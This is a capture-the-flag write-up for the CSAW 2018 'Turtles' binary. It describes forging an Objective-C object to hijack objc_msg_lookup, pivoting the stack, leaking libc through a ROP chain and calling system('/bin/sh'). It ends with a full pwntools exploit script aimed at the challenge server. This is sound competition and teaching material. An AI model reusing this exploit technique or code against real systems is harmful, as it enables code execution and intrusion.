CSAW CTF Quals 2018 Turtles writeup

I gotta say, the binary challenges for this year’s  CSAW are a tremendous improvement over the last year’s. I just had to say that much. Well done admins!

The binary looks a bit intimidating at first sight because it uses a couple of functions which I hadn’t heard of before. I googled the functions and came to know that it is related to Objective C. However, it turns out that you don’t need to know anything about Objective C in order to pwn this binary.

The interesting bit of code starts at main+163 where the binary prints out a heap address.

The address being printed is the address of the object that is created and used by the Objective C functions.

The binary then reads in 2064 bytes of user input into a stack buffer. (No overflow there). It then copies 200 bytes of that input and overwrites the object with a call to memcpy.

The binary then calls a function objc_msg_lookup which takes in the object and a table as arguments and returns a function pointer. This function pointer was then executed by the binary immediately afterwards. So, my plan of exploit was to control the function pointer being returned.

Going through the assembly code of this objc_msg_lookup, we see that there are a couple of checks being performed on the arguments. If you satisfied enough of those, the function would return *(*(*((*obj)+0x40)+0x8)) which can be controlled.

The only value that was being used in a comparison is located at an offset of 0x28. So, I decided to replace almost every other pointer with the start address of the object itself. So, in essence, the value that would be used in the comparison would be located at obj+0x28.

Once you’ve done all that, you can successfully control the function pointer which is going to be called. Great. Now what ?

Now comes the part where we decide what the function is going to be.

At the point where the function pointer is invoked, we can see that the stack contains a few bits an pieces of the 2064 byte input that we gave. So, what I did was to use a ROP gadget to pop 6 times and then execute a ret instruction.

This ended up leaving the stack pointer in the buffer used for input. However, the first couple of bytes of the input are specially designed to control the function pointer, and therefore have to be skipped. So, I decided to insert the same pop_6_ret gadget again so that the stack pointer moves above all the values that are being used by the objc_msg_lookup function.

And now I have enough space to create a ROP chain.

The ROP chain basically prints out the GOT table entry of the read function and then goes back to main.

Now, I used all the previous steps once again to execute another ROP chain. This one would execute a pop_rdi_ret which would populate the RDI register with a pointer to the string “/bin/sh” and then calls the function system.

I ran into a couple of issues when trying to get the offset of system from read because the libc wasn’t provided at the start. When that didn’t work, I resorted to using syscalls to pop a shell. I figured that there’d be a syscall instruction at read+14 in every libc. But that didn’t work for some reason. Finally, the admins uploaded the libc and all was good.

from pwn import *

main = 0x400b84
pop_6_ret = 0x00400d3a
pop_rdi_ret = 0x00400d43
HOST, PORT = 'pwn.chal.csaw.io', 9003


if __name__ == '__main__':
    if sys.argv[1] == 'remote':
        p = remote(HOST, PORT)
    else:
        p = process('./turtles')

    e = ELF('./turtles')

    p.recvuntil('Here is a Turtle: ')
    heap = int(p.recvline().strip(), 16)
    log.success("Heap @ {}".format(hex(heap)))

    read_got = e.got['read']
    printf_plt = e.plt['printf']

    # First thing to do is to leak libc
    # Then return back to read in second payload
    rop_chain = ''
    rop_chain += p64(pop_rdi_ret)
    rop_chain += p64(read_got)
    rop_chain += p64(printf_plt)
    rop_chain += p64(main)

    fake_chunk = fit({0: p64(heap),
                     0x8: p64(heap+16),
                     0x10: p64(pop_6_ret),
                     0x18: p64(pop_6_ret),
                     0x28: p64(0),
                     0x40: p64(heap),
                     0x50: rop_chain}, length=0x800)
    p.sendline(fake_chunk)

    # Leaks
    read = u64(p.recv(6).ljust(8, '\x00'))
    log.success("Leaked read @ {}".format(hex(read)))
    system = read + 0xd10
    log.success("System @ {}".format(hex(system)))

    # I was too lazy to calculate the new object's address
    p.recvuntil('Here is a Turtle: ')
    heap = int(p.recvline().strip(), 16)

    # Let's call system
    rop_chain = ''
    rop_chain += p64(pop_rdi_ret)
    rop_chain += p64(heap+0x48)
    rop_chain += p64(system)

    fake_chunk = fit({0: p64(heap),
                     0x8: p64(heap+16),
                     0x10: p64(pop_6_ret),
                     0x18: p64(pop_6_ret),
                     0x28: p64(0),
                     0x40: p64(heap),
                     0x48: '/bin/sh\x00',
                     0x50: rop_chain}, length=0x800)
    p.sendline(fake_chunk)

    # Here you go
    p.interactive()